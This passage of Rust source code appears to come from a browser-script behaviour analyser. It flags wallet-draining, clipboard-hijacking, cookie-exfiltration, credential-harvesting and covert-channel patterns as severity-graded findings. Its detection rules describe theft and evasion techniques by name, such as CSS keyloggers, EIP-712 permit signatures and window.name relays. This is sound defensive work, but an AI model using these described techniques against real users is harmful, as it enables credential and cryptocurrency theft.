severity: Severity::High,
category: Category::Evasion,
title: "WebAssembly module loaded - possible crypto miner".into(),
detail: "Script loads a WASM module, commonly used for hash computation in crypto miners".into(),
evidence: vec![i],
});
}
if api.contains("serviceworker.register") {
s.service_worker_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "ServiceWorker registration - persistent background execution".into(),
detail: "Script registers a ServiceWorker for persistent access even after tab closes".into(),
evidence: vec![i],
});
}
if api == "ethereum.request" || api == "ethereum.on" {
let method = extract_first_string_arg(args).unwrap_or_default();
if method == "eth_requestAccounts" || method == "eth_accounts" {
s.has_wallet_connect = true;
s.wallet_connect_idx = Some(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CryptoTheft,
title: "Wallet connection requested".into(),
detail: format!(
"Script requests access to user's Ethereum wallet via {method}"
),
evidence: vec![i],
});
}
}
if api == "crypto.sign_transaction" || api == "crypto.send_transaction" {
s.has_sign_transaction = true;
s.sign_indices.push(i);
let is_send = api == "crypto.send_transaction";
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: if is_send {
"DIRECT ETH TRANSFER requested".into()
} else {
"Transaction signing requested".into()
},
detail: format!(
"Script requests user {} a transaction: {}",
if is_send { "send" } else { "sign" },
args_str.chars().take(200).collect::<String>()
),
evidence: vec![i],
});
}
if api == "crypto.sign_message" {
s.has_sign_message = true;
s.sign_indices.push(i);
let method = extract_first_string_arg(args).unwrap_or_default();
let severity = if method.contains("signTypedData") {
Severity::Critical
} else {
Severity::High
};
s.findings.push(BehavioralFinding {
severity,
category: Category::CryptoTheft,
title: format!("Message signing via {method}"),
detail: "Script requests cryptographic signature - EIP-712 permit signatures can authorize token transfers".into(),
evidence: vec![i],
});
}
if api == "crypto.chain_switch" {
s.has_chain_switch = true;
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CryptoTheft,
title: "Chain switch requested".into(),
detail: "Script attempts to switch wallet to a different blockchain network - common drainer tactic to move to attacker-controlled chain".into(),
evidence: vec![i],
});
}
if api.starts_with("crypto.solana_sign") {
s.has_sign_transaction = true;
s.sign_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: format!("Solana transaction signing: {api}"),
detail: "Script requests Solana wallet to sign a transaction".into(),
evidence: vec![i],
});
}
if api == "solana.connect" {
s.has_wallet_connect = true;
s.wallet_connect_idx = Some(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CryptoTheft,
title: "Solana wallet connection requested".into(),
detail: "Script connects to user's Solana wallet".into(),
evidence: vec![i],
});
}
if api == "clipboard.writeText" || api == "clipboard.write" {
s.has_clipboard_write = true;
s.clipboard_write_content = extract_url_from_args(args).or_else(|| {
args.first()
.and_then(Value::as_str)
.map(ToString::to_string)
});
let content = s.clipboard_write_content.as_deref().unwrap_or("");
let is_crypto_addr = (content.starts_with("0x")
&& content.len() >= 42
&& content[2..42].chars().all(|c| c.is_ascii_hexdigit()))
|| (content.starts_with("bc1")
&& content.len() >= 42
&& content.len() <= 62)
|| (content.starts_with('1')
&& content.len() >= 26
&& content.len() <= 35
&& content.chars().all(|c| c.is_ascii_alphanumeric()))
|| (content.starts_with('T')
&& content.len() == 34
&& content.chars().all(|c| c.is_ascii_alphanumeric()));
let severity = if is_crypto_addr {
Severity::Critical
} else {
Severity::High
};
s.findings.push(BehavioralFinding {
severity,
category: Category::ClipboardHijack,
title: if is_crypto_addr {
"Clipboard hijacked with crypto address".into()
} else {
"Clipboard content overwritten".into()
},
detail: format!(
"Script writes to clipboard: {}...",
&content[..content.len().min(80)]
),
evidence: vec![i],
});
}
if api == "clipboard.readText" || api == "clipboard.read" {
s.has_clipboard_read = true;
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::ClipboardHijack,
title: "Clipboard content read".into(),
detail: "Script reads clipboard - may be harvesting copied passwords or crypto addresses".into(),
evidence: vec![i],
});
}
if api == "notification.requestPermission" {
s.notification_permission_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::PrivacyViolation,
title: "Push notification permission requested".into(),
detail: "Script requests notification permissions - used for persistent social engineering".into(),
evidence: vec![i],
});
}
if api == "notification.create" {
s.notification_create_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Persistence,
title: "Notification created".into(),
detail:
"Script generates a notification payload for out-of-tab re-engagement"
.into(),
evidence: vec![i],
});
}
if api == "payment.request" || api == "payment.show" {
s.payment_request_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: "Payment Request API invoked".into(),
detail: "Script triggers browser payment flow - may be attempting unauthorized payment".into(),
evidence: vec![i],
});
}
if (api == "history.pushState" || api == "history.replaceState")
&& let Some(url) = extract_url_from_args(args)
{
s.history_state_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: format!("URL bar manipulation via {api}"),
detail: format!(
"Script changes visible URL to {url} - may hide phishing URL"
),
evidence: vec![i],
});
}
if api.starts_with("geolocation.") {
s.geolocation_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::PrivacyViolation,
title: format!("Geolocation access: {api}"),
detail: "Script accesses user's physical location".into(),
evidence: vec![i],
});
}
if let Some(operation) = api.strip_prefix("crypto.subtle.") {
s.crypto_operation_indices.push(i);
if operation == "decrypt" {
s.crypto_decrypt_indices.push(i);
}
if operation == "importKey" {
s.crypto_import_key_indices.push(i);
}
let detail = extract_first_string_arg(args).unwrap_or_default();
s.findings.push(BehavioralFinding {
severity: if operation == "decrypt" {
Severity::High
} else {
Severity::Medium
},
category: if operation == "decrypt" {
Category::CodeInjection
} else {
Category::Evasion
},
title: format!("WebCrypto subtle operation: {operation}"),
detail: if detail.is_empty() {
"Script uses WebCrypto subtle APIs, a common primitive for encrypted staging and payload unlocking".into()
} else {
format!(
"Script uses WebCrypto subtle.{operation} with {detail}, a common primitive for encrypted staging and payload unlocking"
)
},
evidence: vec![i],
});
}
if api == "indexedDB.open" {
s.indexed_db_indices.push(i);
let name = extract_first_string_arg(args).unwrap_or_default();
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Persistence,
title: format!("IndexedDB persistence surface opened: {name}"),
detail: "Script opens an IndexedDB database, enabling durable browser-side staging or state retention".into(),
evidence: vec![i],
});
}
if api == "trustedTypes.createPolicy" {
s.trusted_types_indices.push(i);
let name = extract_first_string_arg(args).unwrap_or_default();
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: format!("Trusted Types policy created: {name}"),
detail: "Script creates a Trusted Types policy, a capability often used by sophisticated loaders to blend malicious DOM or script creation into hardened applications".into(),
evidence: vec![i],
});
}
if api == "scheduler.postTask"
|| api == "scheduler.yield"
|| api == "requestIdleCallback"
|| api == "requestAnimationFrame"
|| api == "queueMicrotask"
{
s.scheduler_indices.push(i);
let priority =
extract_first_string_arg(args).unwrap_or_else(|| "user-visible".into());
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: if api == "scheduler.postTask" {
format!("Deferred task scheduling via scheduler.postTask ({priority})")
} else if api == "requestIdleCallback" {
format!("Deferred task scheduling via requestIdleCallback ({priority})")
} else if api == "requestAnimationFrame" {
"Deferred task scheduling via requestAnimationFrame (16ms)".into()
} else if api == "queueMicrotask" {
"Deferred task scheduling via queueMicrotask (immediate)".into()
} else {
"Scheduler yield used for staged execution".into()
},
detail: match api.as_str() {
"requestIdleCallback" => {
"Script uses requestIdleCallback to defer execution until the browser is idle, a common way to hide staged activity after initial rendering".into()
}
"requestAnimationFrame" => {
"Script uses requestAnimationFrame to delay execution until the next rendering tick, a common way to stage DOM or network activity after initial page setup".into()
}
"queueMicrotask" => {
"Script uses queueMicrotask to push staged behavior into the microtask queue, hiding work after synchronous setup but before the next task boundary".into()
}
_ => {
"Script uses the Scheduler API to defer execution and potentially evade simplistic single-pass analysis".into()
}
},
evidence: vec![i],
});
}
if api == "url.createObjectURL" {
s.blob_url_indices.push(i);
let mut content_type = args
.get(1)
.and_then(Value::as_str)
.unwrap_or("application/octet-stream")
.to_string();
let preview = args.get(2).and_then(Value::as_str).unwrap_or_default();
let preview_lower = preview.to_ascii_lowercase();
if (content_type.is_empty() || content_type == "application/octet-stream")
&& preview_lower.contains("<form")
{
content_type = "text/html".into();
} else if (content_type.is_empty()
|| content_type == "application/octet-stream")
&& preview_lower.contains("<svg")
{
content_type = "image/svg+xml".into();
}
if content_type.eq_ignore_ascii_case("text/html")
|| content_type.eq_ignore_ascii_case("image/svg+xml")
{
s.html_blob_url_indices.push(i);
}
s.findings.push(BehavioralFinding {
severity: if content_type.eq_ignore_ascii_case("text/html")
|| content_type.eq_ignore_ascii_case("image/svg+xml")
{
Severity::High
} else {
Severity::Medium
},
category: Category::DomManipulation,
title: format!("In-memory blob URL created ({content_type})"),
detail: "Script creates an in-memory object URL, a common staging primitive for hidden HTML, SVG, or download payloads".into(),
evidence: vec![i],
});
}
if api == "mutationObserver.observe" {
s.mutation_observer_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::DomManipulation,
title: "MutationObserver-backed DOM watcher".into(),
detail: "Script registers a MutationObserver, a common primitive for waiting on DOM changes before staging forms, overlays, or delayed credential prompts".into(),
evidence: vec![i],
});
}
if api == "intersectionObserver.observe" {
s.intersection_observer_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: "IntersectionObserver-backed DOM watcher".into(),
detail: "Script uses IntersectionObserver to defer behavior until elements become visible, a common staged lure and delayed injection primitive".into(),
evidence: vec![i],
});
}
if api == "resizeObserver.observe" {
s.resize_observer_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: "ResizeObserver-backed DOM watcher".into(),
detail: "Script uses ResizeObserver to react to layout changes before triggering behavior, a staged DOM watcher frequently paired with delayed payload activation".into(),
evidence: vec![i],
});
}
if api.contains("webRequest") && api.contains("addListener") {
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::NetworkActivity,
title: "Web request interception".into(),
detail: "Extension intercepts and can modify all web requests".into(),
evidence: vec![i],
});
}
}
Observation::CookieAccess {
operation, name, ..
} => {
s.timeline.push(TimelineEntry {
index: i,
action: format!("cookie.{operation:?}({name})"),
category: Category::CookieAccess,
});
if matches!(operation, CookieOp::Read) {
s.has_cookie_read = true;
s.cookie_read_idx = Some(i);
}
}
Observation::NetworkRequest { url, method, .. } => {
s.timeline.push(TimelineEntry {
index: i,
action: format!("{method} {url}"),
category: Category::NetworkActivity,
});
if is_external_url(url) {
s.has_external_fetch = true;
s.external_urls.push(url.clone());
s.fetch_indices.push(i);
}
}
Observation::DynamicCodeExec {
source,
code_preview,
} => {
s.dynamic_code_indices.push(i);
let preview = if code_preview.len() > 60 {
format!("{}...", &code_preview[..60])
} else {
code_preview.clone()
};
s.timeline.push(TimelineEntry {
index: i,
action: format!("{source:?}: {preview}"),
category: Category::CodeInjection,
});
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CodeInjection,
title: format!("Dynamic code execution via {source:?}"),
detail: format!("Code: {preview}"),
evidence: vec![i],
});
}
Observation::CssExfiltration { selector, url, .. } => {
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::DataExfiltration,
title: format!("CSS keylogger: {selector} → {url}"),
detail: format!(
"CSS rule exfiltrates input data via background-image URL: {url}"
),
evidence: vec![i],
});
s.has_external_fetch = true;
s.external_urls.push(url.clone());
s.fetch_indices.push(i);
}
Observation::PropertyRead {
object, property, ..
} => {
let object_l = object.to_ascii_lowercase();
let property_l = property.to_ascii_lowercase();
let fingerprint_like = matches!(
(object_l.as_str(), property_l.as_str()),
("navigator", "useragent")
| ("navigator", "platform")
| ("navigator", "language")
| ("navigator", "languages")
| ("navigator", "hardwareconcurrency")
| ("navigator", "devicememory")
| ("navigator", "webdriver")
| ("screen", "width")
| ("screen", "height")
| ("screen", "availwidth")
| ("screen", "availheight")
| ("document", "visibilitystate")
);
if fingerprint_like {
let api = format!("{object}.{property}");
s.has_fingerprint_access = true;
s.fingerprint_indices.push(i);
s.fingerprint_apis.push(format!("{object}.{property}"));
s.timeline.push(TimelineEntry {
index: i,
action: format!("fingerprint: {api}"),
category: Category::Fingerprinting,
});
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Fingerprinting,
title: format!("Browser fingerprinting via {api}"),
detail: "Script probes browser identity and environment properties".into(),
evidence: vec![i],
});
}
}
Observation::FingerprintAccess { api, .. } => {
s.has_fingerprint_access = true;
s.fingerprint_indices.push(i);
s.fingerprint_apis.push(api.clone());
s.timeline.push(TimelineEntry {
index: i,
action: format!("fingerprint: {api}"),
category: Category::Fingerprinting,
});
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Fingerprinting,
title: format!("Browser fingerprinting via {api}"),
detail: "Script probes browser identity APIs".into(),
evidence: vec![i],
});
}
Observation::TimerSet {
delay_ms,
is_interval,
..
} => {
s.timer_indices.push(i);
if *delay_ms >= 3_000 {
s.long_delay_timer_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: if *is_interval {
format!("Long-lived interval timer: {delay_ms}ms")
} else {
format!("Delayed execution timer: {delay_ms}ms")
},
detail: if *is_interval {
"Script schedules repeated delayed execution, a common way to stagger abuse or survive initial analysis windows".into()
} else {
"Script defers execution for several seconds, a common staging and anti-analysis tactic".into()
},
evidence: vec![i],
});
}
}
Observation::WasmInstantiation { module_size, .. } => {
s.wasm_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "WebAssembly module instantiation".into(),
detail: format!("Script loads a {module_size}-byte WASM module - may contain obfuscated logic"),
evidence: vec![i],
});
}
Observation::DomMutation {
kind,
target,
detail,
} => {
s.timeline.push(TimelineEntry {
index: i,
action: format!("DOM {kind:?} on <{target}>: {detail}"),
category: Category::DomManipulation,
});
}
_ => {}
}
}
if s.has_cookie_read && s.has_external_fetch {
let mut evidence = Vec::new();
if let Some(idx) = s.cookie_read_idx {
evidence.push(idx);
}
evidence.extend(&s.fetch_indices);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::DataExfiltration,
title: "Cookie exfiltration to external server".into(),
detail: format!(
"Script reads cookies and sends data to: {}",
s.external_urls.join(", ")
),
evidence,
});
} else if s.has_cookie_read {
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::CookieAccess,
title: "Cookie access detected".into(),
detail: "Script reads browser cookies".into(),
evidence: s.cookie_read_idx.into_iter().collect(),
});
}
if s.has_external_fetch && !s.has_cookie_read {
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::NetworkActivity,
title: "External network requests".into(),
detail: format!("Requests to: {}", s.external_urls.join(", ")),
evidence: s.fetch_indices.clone(),
});
}
if s.has_storage_write {
s.findings.push(BehavioralFinding {
severity: Severity::Low,
category: Category::Persistence,
title: "Local storage persistence".into(),
detail: "Script stores data in localStorage/sessionStorage".into(),
evidence: s.storage_write_indices.clone(),
});
}
if s.has_credential_surface
&& (s.has_external_fetch || !s.external_credential_action_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "CONFIRMED: Staged credential harvesting flow".into(),
detail: format!(
"Script exposes a credential collection surface and relays or submits data to external destinations: {}",
s.external_urls.join(", ")
),
evidence,
});
}
if s.has_credential_surface
&& !s.mutation_observer_indices.is_empty()
&& (s.has_external_fetch || !s.storage_write_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.mutation_observer_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.storage_write_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Observer-driven staged credential injection".into(),
detail: "Script combines a MutationObserver with a credential surface and downstream staging or off-origin activity, indicating delayed DOM-triggered credential theft rather than a static login page".into(),
evidence,
});
}
let has_layout_observer =
!s.intersection_observer_indices.is_empty() || !s.resize_observer_indices.is_empty();
if s.has_credential_surface
&& has_layout_observer
&& (s.has_external_fetch || !s.storage_write_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.storage_write_indices);
evidence.extend(&s.intersection_observer_indices);
evidence.extend(&s.resize_observer_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Observer-driven staged credential injection".into(),
detail: "Script combines a credential surface with IntersectionObserver or ResizeObserver and staged delivery, indicating delayed DOM-triggered credential theft".into(),
evidence,
});
}
if s.has_credential_surface
&& !s.blob_url_indices.is_empty()
&& !s.blob_navigation_indices.is_empty()
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.blob_url_indices);
evidence.extend(&s.blob_navigation_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Blob-backed credential lure".into(),
detail: "Script creates an in-memory blob URL and navigates to it alongside a credential surface, indicating a staged phishing page or hidden payload generated outside normal network-visible URLs".into(),
evidence,
});
}
if !s.credential_api_indices.is_empty() && s.has_external_fetch {
let mut evidence = s.credential_api_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential API abuse with off-origin activity".into(),
detail: "Script uses the browser Credential Management API and also communicates off-origin, indicating managed credential capture tied to external exfiltration or staged phishing flow".into(),
evidence,
});
}
if (s.has_credential_surface || !s.credential_api_indices.is_empty())
&& !s.indexed_db_indices.is_empty()
&& (s.has_external_fetch || !s.service_worker_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.credential_api_indices);
evidence.extend(&s.indexed_db_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.service_worker_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "IndexedDB-backed credential staging".into(),
detail: "Script combines a credential surface or managed credential API with IndexedDB persistence and downstream off-origin or service-worker activity, indicating durable staged credential theft rather than a disposable page".into(),
evidence,
});
}
if !s.popup_indices.is_empty() && !s.postmessage_indices.is_empty() {
let mut evidence = s.popup_indices.clone();
evidence.extend(&s.postmessage_indices);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Cross-window credential handoff".into(),
detail: "Script opens a secondary window and relays data across contexts, a common hosted-login and OAuth phishing pattern".into(),
evidence,
});
}
if !s.service_worker_indices.is_empty() && s.has_storage_write && s.has_external_fetch {
let mut evidence = s.service_worker_indices.clone();
evidence.extend(&s.storage_write_indices);
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Persistent staged phishing/exfiltration".into(),
detail: "Script registers a ServiceWorker, stores local state, and communicates externally - persistent multi-step abuse rather than a one-shot payload".into(),
evidence,
});
}
if !s.long_delay_timer_indices.is_empty()
&& !s.service_worker_indices.is_empty()
&& s.has_storage_write
&& s.has_external_fetch
{
let mut evidence = s.long_delay_timer_indices.clone();
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.storage_write_indices);
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Delayed persistent staged abuse".into(),
detail: "Script waits behind a long-delay timer, then registers persistent browser state and communicates externally - a durable staged campaign designed to outlive initial analysis".into(),
evidence,
});
}
if s.has_credential_surface
&& !s.storage_write_indices.is_empty()
&& (!s.notification_create_indices.is_empty() || !s.service_worker_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.storage_write_indices);
evidence.extend(&s.notification_create_indices);
evidence.extend(&s.service_worker_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Stateful credential re-entry infrastructure".into(),
detail: "Script combines a credential surface with persisted browser state and an active re-entry mechanism such as notifications or a service worker, indicating a durable phishing campaign rather than a disposable lure".into(),
evidence,
});
}
if s.has_credential_surface
&& (!s.worker_indices.is_empty() || !s.websocket_indices.is_empty())
&& s.has_external_fetch
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.worker_indices);
evidence.extend(&s.websocket_indices);
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Background credential exfiltration channel".into(),
detail: "Script combines a credential collection surface with Worker and/or WebSocket infrastructure to relay stolen data off the main thread or over a persistent channel".into(),
evidence,
});
}
if !s.webrtc_indices.is_empty() && !s.webrtc_data_send_indices.is_empty() {
let mut evidence = s.webrtc_indices.clone();
evidence.extend(&s.webrtc_data_send_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::DataExfiltration,
title: "Covert peer-to-peer exfiltration channel".into(),
detail: "Script initializes WebRTC and transmits data over a RTCDataChannel, a peer-to-peer channel that can bypass standard fetch/XHR monitoring".into(),
evidence,
});
}
if s.has_credential_surface && !s.webrtc_data_send_indices.is_empty() {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.webrtc_indices);
evidence.extend(&s.webrtc_data_send_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential relay over WebRTC".into(),
detail: "Script exposes a credential surface and relays data over a RTCDataChannel, indicating covert credential theft rather than benign peer connectivity".into(),
evidence,
});
}
if s.has_credential_surface && !s.input_monitor_indices.is_empty() {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.input_monitor_indices);
evidence.sort_unstable();
evidence.dedup();
let mut events = s.input_monitor_events.clone();
events.sort();
events.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "Credential field input interception".into(),
detail: format!(
"Script combines a credential surface with live input monitoring hooks ({}) that can capture credentials before submission",
events.join(", ")
),
evidence,
});
}
if s.has_credential_surface
&& !s.input_monitor_indices.is_empty()
&& (s.has_external_fetch
|| !s.websocket_indices.is_empty()
|| !s.postmessage_indices.is_empty()
|| !s.broadcast_channel_indices.is_empty()
|| !s.message_port_indices.is_empty()
|| !s.storage_event_fire_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.input_monitor_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.websocket_indices);
evidence.extend(&s.postmessage_indices);
evidence.extend(&s.broadcast_channel_indices);
evidence.extend(&s.message_port_indices);
evidence.extend(&s.storage_event_register_indices);
evidence.extend(&s.storage_event_fire_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Interactive credential interception and relay".into(),
detail: "Script monitors user keystrokes or field changes on a credential surface and relays or stages the captured data through outbound channels".into(),
evidence,
});
}
if s.has_credential_surface
&& (!s.broadcast_channel_indices.is_empty()
|| !s.message_port_indices.is_empty()
|| !s.shared_worker_message_indices.is_empty()
|| !s.storage_event_fire_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.broadcast_channel_indices);
evidence.extend(&s.message_port_indices);
evidence.extend(&s.shared_worker_message_indices);
evidence.extend(&s.storage_event_register_indices);
evidence.extend(&s.storage_event_fire_indices);
evidence.extend(&s.message_channel_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential relay via in-browser covert channels".into(),
detail: "Script exposes a credential surface and relays payloads over BroadcastChannel, MessagePort, SharedWorker, or storage-event primitives, indicating staged cross-context credential theft".into(),
evidence,
});
}
if s.has_credential_surface && !s.history_state_indices.is_empty() {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.history_state_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential lure with URL-bar spoofing".into(),
detail: "Script exposes a credential surface while rewriting browser history state via pushState/replaceState, a common phishing technique for hiding the real page URL behind a trusted-looking route".into(),
evidence,
});
}
if s.has_credential_surface && !s.shared_worker_message_indices.is_empty() {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.shared_worker_message_indices);
evidence.extend(&s.worker_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential relay via SharedWorker".into(),
detail: "Script combines a credential surface with SharedWorker messaging, indicating background cross-tab relay or credential staging outside the main document".into(),
evidence,
});
}
if s.has_credential_surface
&& !s.window_name_indices.is_empty()
&& (s.has_external_fetch
|| !s.popup_indices.is_empty()
|| !s.postmessage_indices.is_empty()
|| !s.broadcast_channel_indices.is_empty()
|| !s.message_port_indices.is_empty())
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.window_name_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.popup_indices);
evidence.extend(&s.postmessage_indices);
evidence.extend(&s.broadcast_channel_indices);
evidence.extend(&s.message_port_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential relay via window.name".into(),
detail: "Script uses window.name as a cross-navigation covert channel alongside a credential surface and downstream relay or exfiltration primitives".into(),
evidence,
});
}
if (!s.broadcast_channel_indices.is_empty()
|| !s.message_channel_indices.is_empty()
|| !s.message_port_indices.is_empty()
|| !s.storage_event_register_indices.is_empty()
|| !s.storage_event_fire_indices.is_empty())
&& (!s.worker_indices.is_empty()
|| !s.service_worker_indices.is_empty()
|| !s.popup_indices.is_empty()
|| s.has_external_fetch
|| s.has_storage_write)
{
let mut evidence = s.broadcast_channel_indices.clone();
evidence.extend(&s.message_channel_indices);
evidence.extend(&s.message_port_indices);
evidence.extend(&s.storage_event_register_indices);
evidence.extend(&s.storage_event_fire_indices);
evidence.extend(&s.window_name_indices);
evidence.extend(&s.shared_worker_message_indices);
evidence.extend(&s.worker_indices);
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.popup_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.storage_write_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Covert multi-context staging infrastructure".into(),
detail: "Script combines in-browser relay channels with background workers, popup pivots, storage-event coordination, persistence state, or off-origin traffic, indicating coordinated staged abuse across multiple execution contexts".into(),
evidence,
});
}
if !s.storage_event_fire_indices.is_empty()
&& (!s.worker_indices.is_empty()
|| !s.service_worker_indices.is_empty()
|| !s.popup_indices.is_empty()
|| s.has_external_fetch
|| s.has_storage_write)
{
let mut evidence = s.storage_event_register_indices.clone();
evidence.extend(&s.storage_event_fire_indices);
evidence.extend(&s.worker_indices);
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.popup_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.storage_write_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Cross-tab storage-event staging".into(),
detail: "Script uses storage events as a cross-tab covert channel alongside persistence state, background execution, popup pivots, or off-origin activity, indicating durable staged abuse across same-origin contexts".into(),
evidence,
});
}
if !s.window_name_indices.is_empty()
&& (!s.popup_indices.is_empty()
|| !s.service_worker_indices.is_empty()
|| !s.worker_indices.is_empty()
|| s.has_external_fetch)
{
let mut evidence = s.window_name_indices.clone();
evidence.extend(&s.popup_indices);
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.worker_indices);
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Cross-navigation covert staging via window.name".into(),
detail: "Script combines window.name relay state with popup, worker, service-worker, or off-origin activity, indicating staged abuse that survives navigation boundaries".into(),
evidence,
});
}
if (!s.worker_indices.is_empty() || !s.service_worker_indices.is_empty())
&& !s.websocket_indices.is_empty()
&& s.has_external_fetch
{
let mut evidence = s.worker_indices.clone();
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.websocket_indices);
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Persistence,
title: "Background staged exfiltration infrastructure".into(),
detail: "Script establishes background execution and a persistent network channel, indicating durable staged abuse rather than a one-shot page action".into(),
evidence,
});
}
if s.has_credential_surface && s.has_fingerprint_access {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.fingerprint_indices);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Environment-aware credential harvest".into(),
detail: "Script combines fingerprinting or environment checks with a credential collection surface, indicating gated or persona-dependent phishing behavior".into(),
evidence,
});
}
